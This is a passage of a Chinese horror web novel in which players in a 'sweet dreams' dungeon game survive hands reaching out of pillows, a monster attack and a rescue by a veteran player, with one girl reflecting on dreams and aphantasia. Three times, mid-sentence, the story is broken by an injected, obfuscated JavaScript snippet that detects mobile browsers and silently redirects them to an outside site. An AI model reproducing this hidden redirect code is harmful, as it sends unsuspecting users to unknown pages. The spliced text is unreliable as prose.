只有她自己的心跳声,仍在急切地跳动着,警告着她危险。 一股寒意沿着脊背攀上了肩头,又流向脖颈。 应凌心很快发现它不只是寒意。 冰冷的触感抚上她的咽喉,轻柔地触碰着,产生隐约的痒意。 下一瞬,它停了下来。停留在脖子前,不容置疑地牵制着她。 这样的触碰聚集在脖子处,异样游走着,不紧不慢地按在颈部正面骨头的衔接处,压得人有些痛。 应凌心的心跳连带着被触碰的咽喉一起疯狂震动。 脖子的血管在起伏着跳动着。 那是一双手。 压在她脖子上的东西,是一双冰冷而骨干的手。 一双从枕头里探出来的手! 8. 做个好梦(三) 商予盈本来已经快睡着了,半梦半醒间,忽然被拖着长音的钟声惊醒。 她没有睁开眼,只是警觉地注意着周围的动静。 不太对劲。 脖子有点凉。 商予盈小幅度动了动脖子,冰冷干燥的触感在一瞬间收拢,证实着刚才不是她的错觉。 一双从身后伸出来的手狠狠地钳住了她的脖子。 颈动脉的跳动在陌生的手中显得格外明显,指节死死地压着她脖子正面的软骨,难受得有些犯恶心。 商予盈感觉有些缺氧,她放缓了呼吸的速度,慢慢地吸入氧气。 还是有些间隙的,她感受着一丝空间线从脖子一旁的掌心间穿过。 那双手还在使着劲,不容置疑地牵制着她。 下一刻,它飞速地向下压去,试图要把她窒息致死。 同一瞬,已有准备的商予盈发动异能,一缕细微的空间线随着她的操控在顷刻间膨胀着扩散。 原本紧紧贴在她脖子上的手被震到两三厘米之外。 几厘米已经足够她逃脱了。 商予盈反客为主地钳住两侧的手,猛地一翻身,撑起了上半身。 她单膝跪在床上,俯下身蓄力,正面面对着那双从枕头里伸出来的手——她不知在什么时候本能地睁开了眼睛。 枕头被撕扯出一个大洞,下面却不是床单。 密密麻麻的空间线在空洞的缺口中交错着,看得商予盈有点意外——这么小一个枕头,原来是一个庞大诡异空间的入口。 她的精神高度集中在自己周围的空间线上,以防任何突变的危机。 商予盈瞪大眼睛,和眼前孤零零的两只手面面相觑。 片刻后,在她的注视下,苍白的双手沉默地缩了回去。 紧接着,枕头上的缺口越来越小,直到最后,看不见一丝裂痕。 商予盈反复看了几眼被复原如初的枕头,缺口里看到的大量空间线也连带着一起消失了。 眼前只是一个平平无奇的枕头,被摆在一张平平无奇的床上的枕头。 不过刚才的事故已经让它失去了身为一个枕头的信誉,叫人不敢再枕上去。 商予盈揉了揉眼睛,刚才这一出戏盯得她眼睛有点酸痛。 眼下天还没完全亮,但也不像她们刚躺上床时那样漆黑一片了。 对了,她们呢? 商予盈扭过头,正好跟张尚对上眼神。 张尚看起来经历了剧烈的挣扎,她的指尖渗着丝丝血迹,不知道是她的还是谁的。 她坐在床上,正看到枕头恢复如初,警觉地转过身来。看到商予盈看过来,没说话,只是不好意思地笑了笑。 商予盈也没出声,只是点了点头。 她向另一侧看去,不禁愣住了。 另外两个人呢? . ------------------------------------------------------ 许束言在系统要求她们躺上床之后没过多久就睡着了。 她知道副本后面的情节,也知道在情节开始前会有唤醒机制。 在被房间内的钟声吵醒时,一双手正掐着她的脖子。 ...有点痒。 许束言用异能驱散了新人副本的第一关,坐了起来。 其实这关不算难——毕竟是新人本,主要是为了让新人适应副本,学会运用异能。 如果其余几个小孩都通过了这关,后面就没有什么幺蛾子了。 许束言回忆了一下这个副本的生存率,之后两天可以平平淡淡度过的概率占两成。 钟声又一次响起。 她通过了,情节顺位轮到下一个玩家。 眼下四周还是漆黑一片,许束言给自己加了个夜视 Buff。 她看到张尚开始剧烈地挣扎——左手反手抓在床头的木板上把自己向上提,右手用力地去掰缠在她脖子上的手指。 看来是身体强化异能。 细瘦的手指被张尚硬生生地一根一根掰断。 动静还挺大的。 过了一阵,张尚坐在床上,平复自己的呼吸。 刚才还缠在她脖子上的手此时被掰得面目全非,耷拉在枕头缺口的一边,没了动静。 张尚费劲地盯着眼前的枕头,摸黑着有些看不清,只能看到枕头中间深不见底的黑色,让人惴惴不安。 她戒备地注意着一切可能的异动,紧绷的身体一直没有放松下来。 当——当—— 许束言没说话,只是听着新一轮的钟声——该下一个玩家了。 她有些期待,应凌心会怎么应对这个关卡呢? 只见应凌心在被手向下压的那一刻猛地开始挣扎,然而她的脖子仍被那双手死死地钳着,无法挣脱。 她把头向侧面压去,想要转动着逃脱禁锢。 却没想到枕头早已被撕开一个大洞,也失去了支撑。 她扑了个空,一头栽向枕头的缺口中。枕头内伸出的手像是看到了机会,猛地伸出来,缠上她的肩膀、胳膊、紧接着是腰、腿... 仅仅是一瞬息的功夫,她就被浓稠的黑暗所吞没。 应凌心整个人都被拉扯着掉进了枕头下的空间中。 . 许束言看着对面空空如也的床铺:...... 不是,妹妹,你这也太弱了吧?! 也是,没有异能确实没什么挣脱的好办法。 只能到下面想办法活下来了。 但看她这样子有点难度啊,许束言眯了眯眼,扭头看向了自己床上的枕头。 被异能定住的双手到现在仍然动弹不得,只是呆呆地看着她。 许束言站起了身,双脚踩在床上,朝枕头迈了一步,用脚拨开挡道的手。 算是给你加业绩咯。 她径直跳了下去。 . ------------------------------------------------------ 应凌心刚恢复意识时,还在因为缺氧感到眼前一阵阵发黑。 她伸手揉了揉脖子,刚才被死死地掐着向下拽,现在摸起来还在隐隐作痛。 她环顾着四周,一片漆黑,湿冷的潮气紧贴着覆上她的皮肤,甩也甩不掉。 毫无征兆地,眼前出现一个鲜红的倒计时——5:00,下一秒,变成了4:59,紧接着变成58、57... 应凌心攥了攥右拳,像是想要把无力和不安挤散。 除了倒计时,她什么都看不见。看不到线索,看不到危险,也看不到路。 她不知道周围到底是什么样,也不知道自己应该做什么。 50、49、48... 时间一秒一秒地减少着,丝毫没有体谅她此刻犹豫的意思。 意味不明的倒计时让她壮着胆子迈出了一步——她必须探索出倒计时清空后会发生什么,以及可能的应对方法。 “咔嚓。” 清脆的响声从脚下传来,像是骨骼碎裂的声音。 或者说,像外壳被踩碎的响声,随着外层什么东西的破碎,里面的寒意被挤压着释放出来,顺着她的小腿、沿着她的脊背、绕着她的脖子,无声无息而迅速地向上攀爬着。 应凌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099149|195685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心被吓了一跳,赶忙甩了下自己的腿,想要把阴冷的怪物甩掉。 但没有实际的物质附上她的身体,似乎只是一些玄乎又玄的感觉。 她咬咬牙,又向前迈了几步。 “咔嚓、咔嚓、咔嚓...” 脚下的响声让她头皮发麻,但她强迫自己向前走着——倒计时在后面步步紧逼,坐以待毙只会让自己自取灭亡。 她越走越快,仿佛只要自己足够快,诡异的寒冷就追不上她。 应凌心疾步向前,掺杂着扭曲的呜咽和尖啸的风声划过她的脖颈,被她甩在身后。 她没有功夫细究声音的来源,也不敢停下来去细想,更不敢去想象自己身后有什么。 她只是向前走着,壮着胆子逼迫自己不断向前走着。 不知是适应了黑暗,还是本身环境的亮度在提升,她逐渐能看清脚下的轮廓,虽然依旧看不清踩中的东西。 这条路其实算不上宽,也就一米多。路的两侧是更加黯淡的黑色,看不出深浅,让人本能地不敢踏足。 挺好的,至少她不用担心自己因为看不见路一头迈向悬崖了。 应凌心沿着隐隐约约的小道,继续向前走着。 她看到前面的路渐渐开阔,通向不远处一个平整的空地。 倒计时还剩两分钟。 快没时间了! 应凌心开始跑了起来,她觉得那里多半就是所谓的安全区。 事实上,直到她踏入平台前,她自己心里也没什么数。 她也不知道这里会是副本预留给她的生机,还是用来扑杀她的陷阱。 但她没有办法。 应凌心没有办法去确定自己的处境,也没有办法找出妥善的策略。 她只能靠自己生存的本能,猜测着跑向看起来最安全的地方。 . 在她踏入平台的那一刻,应凌心悬着的心落下来了一大半。 在一瞬间,四周的黑暗褪去,视野变得明朗起来。 能够看清楚了,之前对未知环境的恐惧也就消散了一大半。 空地实际上是一座平整的高台,看着和之前的房间差不多大。 有两个巨大的长方体木盒被摆在平台中心,看上去可以各躺进去一个人。 这不会是棺材吧...应凌心感觉眼前的木盒散发着一阵阵不详的气息。 她抬头看了眼倒计时,还剩9秒、8秒... 有什么东西从她的余光处闪过,她连忙转头,愣了一下。 女人不紧不慢地踏上平台,浅绿色的眼睛平静地注视着她。 ...... 不是,大神你怎么也被拉下来了?! . ------------------------------------------------------ 许束言之前在想,换作她,在没有异能傍身的时候,在不熟悉副本模式的情况下,落入一个陌生的环境,甚至伸手不见五指。 在这样的处境中,她是会在原地呆立着不动,还是心一横、闷头向一个方向扎去? 她也不知道。 但应凌心犹豫的时间比她想象中的要短。 她看着女孩被脚下的声响吓得不知所措,又强撑着向前迈去,脚步迈得越来越快,到最后狂奔起来。 许束言有点好奇:她确定自己这么做是正确的吗? 默不作声地跟在后面,许束言卡着最后几秒,踏上了平台。 看着应凌心极力掩饰的惊讶和警觉,她感觉有些尴尬:“大意了,睡得太沉,被副本阴了。” 大意了,刚开始应该装萌新的。 9. 做个好梦(四) 应凌心被一双莫名其妙的手拉到了一个未知的空间里,又被莫名其妙的倒计时驱赶着来到了一个未知的高台上。 现在她看到全程游刃有余的老玩家莫名其妙地被同样拉下来,站在她眼前。 这很莫名其妙了。 应凌心听着对方漫不经心的解释,心里的警觉又多了几分——这人不会是需要靠坑人来提高异能的吧? “前辈,你知道接下来会发生什么吗?” 她犹豫着询问对方。 “困惑的时候应该观察观察周围。”对方这么说着,却一点也没有要观察的意图。 好吧,看来只有她是困惑的。 应凌心任劳任怨地开始四下打量。 鉴于上次观察的疏忽,她先是抬头看了看。 没有天花板,上方是望不到尽头的一片漆黑。 事实上,不只是头顶,四周超出平台外的区域,都是黑沉沉的,像是人为伫立的屏障,笼罩着预先设计好的囚笼。 应凌心碾了碾地面,看不出是什么材质,表面光滑得让人担心走快了会来个平地摔。 她走向平台上最醒目的物体——两个木质的长方体。 暗红色的木头被利落地打磨成庞大的盒子,表面的盖子看起来可以打开。 深浅不一的纹理显得它沧桑而神秘,木盒的棱角却仍然尖锐。 四面低调地雕刻着杂乱的花纹,有花、有云、有大小不一的小动物,和一些不明觉厉的图案。 有些线条断断续续,像是小孩拿着刻刀生疏地刻着,一不小心手没拿稳,只好回过头来重新修补。 有几个不起眼的小孔散布在盒子侧面,被充作花蕊,和周围的纹路一同构成木雕的花,不仔细看的话根本看不出来。 表面的盖子却是一块平整光滑的木板,没有任何图案,甚至没有什么划痕。 应凌心看了看,到底是没敢直接打开,又转头去看另一个木盒。 跟之前的那一个如出一辙。 或者说,相同得有点过分了。 小孔的位置、花纹的分布、看似不规律的刻痕...甚至木头纹理的走向,全部都一样。 像是同一条“仿古做旧”流水线上生产出来的造物,看似灵动的痕迹实则是精心设计的模板。 但这意味着什么呢? 应凌心把自己的发现告诉了许束言,对方只是挑挑眉,夸她观察细致。 ...... 应凌心没辙,绕着平台转了一圈,感觉没什么别的发现。 她走到先前的入口处,蹲下身,试图凑近去看边界外的黑暗究竟是什么东西。 脚步声从身后响起,她一扭头,看到许束言站到了自己身后两三步外。 ...你不是想把我推出去的对吧? 应凌心很明智地没有把自己的阴谋论问出声,只是默默弓起上半身,听着身后的动静。 好像还真有点东西。 应凌心眯了眯眼,想要看个仔细。 边界外虽然是深不见底的黑暗,但不是纯粹的漆黑。 像是一桶劣质的油漆,有些颜色稍浅的杂质在里面浮动着,有的毫无规律地逸散着,还有的撞在一起,又聚拢着同步转动。 其中一小团若隐若现的杂质,似乎在缓慢地扩大,看着像是一个漩涡,只是太浅了,看不出开始和结束的边界。 应凌心忍不住向前凑了凑,好像有什么东西,在慢慢变得清晰。 “滴答。” 什么东西滴落在她的额头上,凉得她缩了缩肩膀。 她的视线上移,想找出水滴的源头,突兀地和冰冷的眼睛对上了眼神——不是一对,而是五个半。 一只庞大的怪物,看不全它隐藏在暗处的躯体,长着一张大嘴,从黑雾中探出了脑袋。 像是在核辐射下变异的巨型鳄鱼头,表皮长满粗糙的疙瘩和脓包,五只眼睛竖着尖利的瞳孔,俯视着她。 还有半只斜着长在侧面,被凹凸不平的皮肤挤得睁不开。 “滴答。” 又一滴口水,从它尖牙的末端滴落,滴在她的眉间,散发着若有若无的臭气。 应凌心的心跳漏了一拍。 还没等她站起身,头顶处腥臭的大口向下咬去,想要把她卷到嘴里。 应凌心下意识伸手格挡,手臂撑着怪物的上颚堂,费劲地阻止着大嘴的收拢。 她拼尽全力直起腰,上肢因为受力过度在不受控制地颤抖着。 先前鳄鱼怪的牙齿抵在她的后背上,如果不是她拼命把嘴撑远,恐怕现在已经被腰斩了。 怪物攻击受到了阻碍,不满地喷了喷气,腥臭的气流从它喉间袭来。 什么生化攻击。 应凌心一边艰难地抵抗着怪物大嘴逐渐加重的力道,一边屏住呼吸以防止自己被熏晕。 这样下去不是办法。 她小幅度扭头,试图找到怪物牙齿间的缝隙,但没有。 密密麻麻的牙齿,像是耸立的墓碑,封死了她所有的出路。 食肉动物牙长这么密做什么? 应凌心在心里大骂特骂,就不能漏吃几个吗? 怪物口腔的粘液附着在她的手臂上,沿着前臂的线条向下流淌着,滑腻地让人使不上劲。 手臂上的力道越来越大,她快支撑不住了。 怪物看着也不太耐烦了。 应凌心咬了咬牙,决定赌一把。 怪物又一次骤然向下加压的一瞬间,应凌心松开了支撑的手。 她迅速地弓下身子,把上半身压到最低,手撑着地面,蓄着力保持平衡。 光亮在顷刻间被剥夺,怪物的嘴笼罩着,遮挡了她所有的视线。她被半囚禁在了黏腻腐臭的口腔中,身后是平台边界外的黑雾。 下一瞬,它的牙狠狠地磕在平台上,光滑而坚硬的平台被震得微微颤动,它吃痛地向回收了收牙。 在它微微抬起牙的一瞬间,应凌心双脚一蹬,上半身努力向下压平,赶在最后一刻滑出了怪物的口腔。 只是一切发生得太快了,在她向外逃窜的一瞬间,怪物又一次咬了下去。 她的小腿晚了一步,被庞大的尖牙狠狠贯穿。 冰冷的牙齿刺入她的血肉,滚烫的鲜血在一瞬间喷涌而出,混杂着怪物的唾液一同流淌着,在光滑的平面上快速地向外蔓延。 疼痛灼烧着她的腿,侵蚀着她的神志。 小腿不受控制的痉挛随着每一次颤动把疼痛传向每一根神经。 心脏飞速跳动着,她费劲地喘着气,发不出一点声音,稀薄的氧气让她的视线一阵阵扭曲。 她得逃走。 应凌心咬着后槽牙,强迫自己保持清醒。 她得趁着怪物下一次啃咬的空档逃走。 她硬撑着身子,等待着时机。 但怪物没有抬嘴。 就像人碾死一只虫子,猫用爪子钉住逃窜的老鼠的尾巴,怪物没有抬起嘴。 它低着头,牙齿往伤口更深处咬了咬,靠着嵌在她腿间的尖牙,硬生生把她向后拖。 钻心的疼痛席卷着身体的每一处。 光滑的平面没办法产生足够的阻力,应凌心徒劳地伸手去抓地面,却没有任何招架之力,一步步被怪物向外拽去。 眼看就要被拉入平台外未知的黑暗,怪物忽然停了下来。 像是感受到某种威胁,机警地低吼着。 一双黑色的皮靴出现在应凌心已经开始变得模糊的视线中。 【灭。】 非常小的声响,理应被怪物的吼叫声淹没。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099150|195685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 在此刻却穿透了怪物的狂吼和应凌心脑内痛苦的尖啸,清晰地停留在她的耳边。 低沉而富有磁性,平淡的一个字,从女人口中吐出。 下一刹那,庞大的怪物在一瞬间碎成无数细小的灰尘,被风席卷着逸散在平台外无尽的黑暗中。 只有她被尖牙贯穿的小腿,孔洞裸露在空气中,一阵一阵地抽动着。 . 应凌心呆愣愣地趴在原地,还没从自己的死里逃生中缓过神来。 一直在一旁看戏的许束言在最后一刻救了她。 女人站在她身前不远处,抱着胳膊看着她。 应凌心的头还在因为剧烈的头疼和失血过多而阵阵发晕,看不清女人此时是什么表情。 “没有异能也敢来下副本,来就来了,不懂得带把刀吗?” 应凌心大口喘着气,试图缓解大脑的缺氧。听到女人的责问,懊恼地点点头,“是呀,我怎么没想到呢?” 带把刀的话说不定就不至于差点挂了。 如果不是老玩家出手,她怕是真要没命了。 应凌心费劲地咧了咧嘴,向女人道谢:“多亏了前辈救我,要不然我人怕是直接就交代在这儿了。” 许束言低头看了看狼狈的女孩。 满身浸泡着怪物的口水液,手指在挣扎的过程中被压得惨白,右腿的贯穿伤到现在还在不停地向外冒着血,弄得满地都是。 都这样了,还有功夫咧着嘴说话,看来是肾上腺素发挥作用了。 换句话说,离昏死过去不远了。 许束言侧过身,向平台中心的木盒指了指。 看到女孩疑惑的眼神,补充了一下:“你去那边看看。” 应凌心:? 她费劲地眨了眨眼,才确认自己刚才不是在幻听。 不是,她都这样了,您老就不能自己去看看吗?! 而且刚才不是都看过了吗? 还是说,想让她掀开棺材盖看看,临死前废物再利用一下? ...但她也没办法反抗,毕竟命都是人家给的——虽然现在只剩半条命了。 应凌心试图站起身,下一秒腿就颤抖着把她一头摔在了地上,感觉浑身更疼了。 ...... 应凌心扭头看了看许束言,女人浅绿色的眼眸淡淡地俯视着她。 已经转到嘴边的求助声到底是没说出来。 没有办法,她只能一点一点向前爬。完全使不上劲的腿被上半身拽着,像一个拖把,碍事地把鲜血抹遍整片地板。 她在这儿狼狈地爬着,许束言就在一旁默不作声地看着。 ...她现在怀疑老玩家有什么诡异的癖好。 救都救了,就算要让她当炮灰,难道不能直接把她拖过去吗?! 应凌心感觉眼前这段路变得前所未有得长,胡思乱想了好几轮,才终于勉强爬到木盒前。 她颤颤巍巍地伸手攀上木盒,想借着力道支撑起上半身。 瘫在地上、本来已经疼得麻木的腿忽然迸发出强烈的痒意,一股巨力扭曲地拉扯着她的筋肉。 应凌心赶忙回头去看。 原本模糊得面目全非的伤口飞快地长出血肉,紧接着是原本被贯穿着破了洞的裤子,然后是她被唾液浸染的衣服... 等她反应过来时,浑身上下已经复原如初,眩晕感凭空消失,只有她的腿还在微微幻痛。 原本遍地都是的血迹沿着她爬来时的路,从她的腿下开始一点点消失,一直到最开始的入口处。 整个平台地面又恢复了最开始光洁,好像刚才所有惊险的瞬间只是一场梦。 应凌心对上了女人平静的眼神。 尖细的瞳孔和先前的怪物如出一辙,没有什么情绪,只是看着她。 10. 做个好梦(五) 许束言有时觉得,她跟二十出头的小孩有代沟。 比如现在,她就没办法理解眼前的女孩到底在想些什么。 她回忆了一下两个人先前的交流。 应凌心扶着木棺,看着自己的伤口和满地的血迹快速消失,愣了半天,问她是怎么知道木盒功效的。 许束言耸了耸肩,说这个平台和她当年进入的第三个情节副本长得一样。 “只不过那个副本里的木盒是真的木盒,没有这么大。摆在平台中间,触碰它会痊愈所有的伤口,但相应地,会有新的怪物被召唤出来。” 应凌心立刻警觉地去看平台外,生怕再来一个怪物。 “不用担心,这个副本应该只是化用了一小部分玩家的记忆,没有完全继承里面的逻辑。” 许束言接着说, “刚才的怪物是我在那个副本打的最后一个怪物,过程非常凶险,估计这就是副本演化出它的原因。” 毕竟再往后的副本里的东西可就超出新人副本的难度范畴了。 同样的道理,怪物出现的频率也不会超出新人本的难度。 “最开始的倒计时应该也是类似的原理。” 许束言问眼前发愣的女孩,“你怕时间限制?” 应凌心机械地点点头,怕啊,上次倒计时差点让她缺胳膊少腿,这谁能不怕? 她还怕黑哩! 这个推论虽然听着有点牵强,但如果出现的怪物符合许束言的记忆,感觉还挺有道理的。 “那...这就是类似于噩梦?副本标题叫《做个好梦》,就是摆脱噩梦的意思?” 应凌心讲得很慢,语调中带着几分犹豫和虚弱,看着还没从刚才受伤的痛觉中缓过来。 许束言点了点头。 她等着女孩接着追问自己下一步该怎么办,但对方不说话了,只是坐起来,背靠在木棺旁。 一分钟、两分钟、十分钟... 等了十几分钟,应凌心坐在那里一动不动,像是在发呆。 许束言:......有时候真搞不懂小孩。 她走上前询问:“你还好吗?” 应凌心原本在闷头注视着前方,苍白的手指下意识地收缩着,躯壳静静地坐在那里,像一具被遗弃的木偶。 听到女人的声音,才缓慢地抬起头。 她不太好。 应凌心茫然地朝上方看去,迟缓地对上女人尖细的瞳孔,像是对上先前怪物的眼珠,却没有什么反应。 许束言低头看着眼前的女孩,对方的眼睛像是死寂的海面,深不见底,也看不出一丝波动。 隔了几秒,她才艰难地汇聚起眼神,呆呆地看了过来。 女孩的眉头不受控制地皱起,眼睛被撑大,眉尾和眼角一同下沉。 她硬是控制着嘴角,挤出个难看的笑脸,比先前死里逃生后咧着嘴笑时还要难看。 应凌心张了张嘴,好像每一个字都压在她的舌头上、喉咙间、心口处,每个音节都要拼尽全力才能发出声响。 “前辈,我好像赌输了。” 女孩喃喃自语着,生机随着她的陈述在一点点消逝,她的思维仿佛被抽离开来。四肢和躯壳显得多余起来,让她不知道该往哪里安放。 她好像赌输了。 应凌心想。 她好像要死了。 . ------------------------------------------------------ 应凌心自从进入空间后,就一直在想一件事——她应该怎么活下去? 或者,再具体一点,她应该怎么在不签下卖身契的前提下觉醒异能? 最大的问题是看不到,她看不到自己的想象。 应凌心站在窗前看着外面的白雾,回忆着自己在过去对于想象的种种思考。 她在想,为什么当初在短暂的震惊后,她那么快就接受了心盲症这个概念? 或者说,为什么她可以自然地想象出“能看到想象中的画面”是什么感觉? 一个天生失去视力的盲人,可以想象出“有视力”是什么感觉吗? 这么想也不太恰当,应凌心质疑自己,她的眼睛可以看见,也就能联想到“看见想象”的感觉。 但她看不到别人的大脑,不能钻进去看她们的想象到底是什么样。 如果有一天她听说其实大部分人可以在脑海里倒放听到的声音,只是记不住而已;或者在不被仪器测量时可以自己随意改变内脏的位置...她会相信吗? 是什么使她去相信一个没办法实际去求证的东西? 应凌心洗漱完,躺在床上,任由杂乱的思绪把自己逐渐带入梦乡。 啊。 她忽然意识到了。 她并不是完全没看到过自己的想象。 梦也是人的想象啊。 . 是的,应凌心会做梦,甚至会做很多离奇古怪的梦。 大部分梦过一阵就忘记了,只有零星几个格外精彩的梦,连带着几个画面,被遗留在她的脑海中。 其中最早的一个需要追溯到她十岁时。 应凌心十岁时,家里人让她自己去上学。 她们说她已经是大孩子了。 可是她明明已经是个大孩子了,还总是找不到路。 哪怕她已经被家人牵着沿着那条道走了无数遍,但她就是记不住。 其实想不起来也没关系,她站在路口犹豫得久了,跟在后面的家人就会认命地走上前来,又一次牵起她的手。 但每次想要找对路的焦虑让她开始经常做噩梦,做找不到路的噩梦。 她会在梦里焦虑地徘徊着,兜着圈子,却找不到任何出口;然后醒来,焦虑地找不到上学的路。 年幼的应凌心想了个办法。 每次她迷路,每次,她都会四处张望。 她去看地砖的缝隙、地上落叶的脉络,去看周围环境的每一个小细节,直到她说服自己,这不是梦——梦没有办法长得这么细节。 让自己形成条件反射,时不时确认自己是不是在梦里。 现在想想,也算得上是简易控梦训练了。 只不过这个办法实际上没有什么用,没多久她就放弃了。 导致她放弃这个办法的是一场梦。 一次,她又梦到自己迷路了。 在迷宫里徘徊着,始终找不到出口。 在趟过一条小溪后,小应凌心犹豫了一下。 她在做梦吗? 她低头看了看脚下的路。 五彩的鹅卵石铺在潮湿的泥土上,在她低头看去的一刹那开始扭曲着变换形状,像是被打翻的调色盘,流光溢彩地混合在一起,在她脚下温和地流淌着。 小应凌心没觉得眼前的画面诡异,反而觉得——好鲜明好生动的颜色,这么清晰灵动,怎么会是梦呢? 于是,她继续焦虑地绕着圈子...最后惊恐懊恼地醒来。 过了一两年,随着她记忆功能的进一步成长,她学会记清自己上下学的路线,家人也不需要每天偷偷跟在她后面看她有没有迷路了。 只是那次在梦里低头看到的画面,一直留存在她的脑海里,哪怕是在十几年后,依然鲜明。 当然,她醒来后依 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099151|195685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然看不到那些画面。 她只能记得她在梦里确确实实看到画面的感受。 就好比她去海边看了落日,回来之后,她仍然记得自己看到了什么,也能够“想象”出来自己在看落日。 她能够想起望不到边的海面、前仆后继的浪花、零星的海鸟,和逐渐吻向海岸线的橙红色的落日。 她能确信她当时看到了,能想起她看到了什么,也能感受她看到时的状态。 只是她无法重新“看到”那个画面,就像她看不到任何其它想象中的画面一样。 但她可以以一种玄妙的方式,去回忆自己视线中的画面。 . 应凌心躺在床上,忽然意识到,她是可以看到自己的梦的。 如果她可以在梦里看到自己的异能的话,是不是也就能觉醒了? 但这并不是一件容易的事。 首先,她不是每次都能“看到”梦里的场景。 事实上,大部分的梦都像是有一个旁白,在陈述着梦里发生的事。 然后她感受着梦里的“概念”,经历着梦。 只有那种令人印象深刻的,比如惊悚的画面,意外的反转,放到漫画里需要画成跨页或特写的大场面,才会在让她醒来后,依然能够清晰地确认,她确实“看”到了。 这样的梦出现概率本就不高。 更不用说她需要意识到自己在做梦,还要在醒来前去想象自己的异能。 可惜她不会控梦。 甚至于,在她进入空间后的这段时间,她基本就没有做过梦。 应凌心觉得,这大概是个没什么用的发现。 直到她看到了被刷新的情节副本,把梦写在了标题上。 既然副本叫《做个好梦》,不管是噩梦还是好梦,她总要做个梦的吧? 梦在副本里如果作为关键的一环,总该有些冲击力,让她能够看见画面吧? 既然是副本的梦,距离她意识到自己在做梦和实际醒来,应该是有时间间隔的吧? 应凌心想了一阵,最后决定赌一把。 赌赢了,她就是靠魄力血赚一百万积分的幸运儿。 赌输了,她就是为了未来的积分葬送当下生命的笑话。 所以即使在副本里,被拽进了奇异的空间,被倒计时逼着到处跑,被怪物啃咬,她也没有彻底绝望。 她下意识地觉得,她是应该做梦的,说不定这也是梦呢? 这个副本,应该是有噩梦的。 直到许束言点破怪物的来历,她才意识到,有可能所谓的“噩梦”,不是字面意义上的梦。 兴许只是俗套的“内心恐惧的具象化”。 她没办法清醒地进入想象的空间。 她靠在棺木旁,愣愣地去放空大脑,试图看到自己的异能。 但没有。 什么都没有。 就像以前一样,脑海中是一片漆黑。 赌输了。 应凌心不知所措地想着, 她好像赌输了。 . 过了好一阵,她才从突如其来的绝望中缓过神来。 应凌心甩了甩脑袋,试图把思绪从物理意义上甩出去。 已经这样了,也没办法了。 重要的是从这个副本中活下去,然后去欠下百万债务,然后活下去。 ...希望对方不要趁机加价。 应凌心站了起来,腿上的伤口已经完全愈合,只是坐的时间长了,隐隐发麻。 “前辈,接下来应该干什么?” 她问许束言,“要掀开盖子吗?” 是不是该掀棺材板了? 11. 做个好梦(六) 你站在教室的门口。 刚才最后一节课是数学课。 放学了,同学们成群结伴地往外走。 你被后桌拦住。 她站在你面前,平铺直叙:“我从来没有把你当作朋友。” 你晃了晃脑袋,说你知道。 你自顾自地走开了。 你在校门口的小摊上买了一碗烤冷面,等再过两年,它就不会再在这里摆摊了。 旁边有人也端着一个小纸碗,拨楞着里面的冷面皮,笑眯眯地问你知不知道自己要死了。 不知道啊,你说,原来我要死了吗? 你在街边的报亭买了根火腿肠。 报亭的老奶奶对你说,她会出席你的葬礼。 你歪了歪头,说,好吧,原来我这么快就要死啦。 你把火腿肠喂给了经常蹲守在你回家路上的一只野猫。 你伸出了手,她扭着头不让你摸。 小气鬼,你嘟囔了一下,等我死了谁喂你啊? 你在小区的闸机前翻了半天书包,才找出来门禁卡。 真麻烦,你想,要等好几年才能改成人脸识别。 那时候你估计都已经死了。 你进了小区,在想晚上应该吃什么。 你有点想去吃楼下的沙县,趁它还没倒闭前。 沙县的老板让你快回家,问你知不知道你要死了。 我知道啊,你回答,我早就知道了。 你走回了家。 进了门,一个女人在沙发上坐着。 “回来了?” 她扭头看向你。 “你知不知道你要死了?” 额。 你犹豫了一下。 你决定告诉她,妈妈不应该问女儿这样的问题。 你让她重来。 . 女人顿了一下。 她说好吧。 “妈妈问你个问题。” 女人慵懒地靠在沙发上,任由乌黑的发丝垂落。眉眼间是不加掩饰的精明,周身的气质被野心浸染得从容而镇定。 她的语气平静地像是在讨论晚上要吃什么,“妈妈要和爸爸离婚了。” “你要跟谁?” 女人琥珀色的眼睛注视着你,从她的眼眸中,你看到了自己,那个和她如出一辙的自己。 你愣了很长时间。 啊。 应凌心回过神来。 她四下张望了一下,忍不住揉了揉脑袋,感觉头胀得有点痛。 她应该说什么来着? ...... 应凌心张了张嘴,找回了自己的声音:“我想问你个问题...妈妈。” 女人不解地歪头看她,脖子弯折的角度越来越大,维持着诡异的平衡,仿佛下一秒就要被折断着摔落脑袋。 应凌心收回方才失焦的视线。 “我就是有点好奇。在你心里,你觉得...” 她问眼前的女人, “我的异能会是什么?” 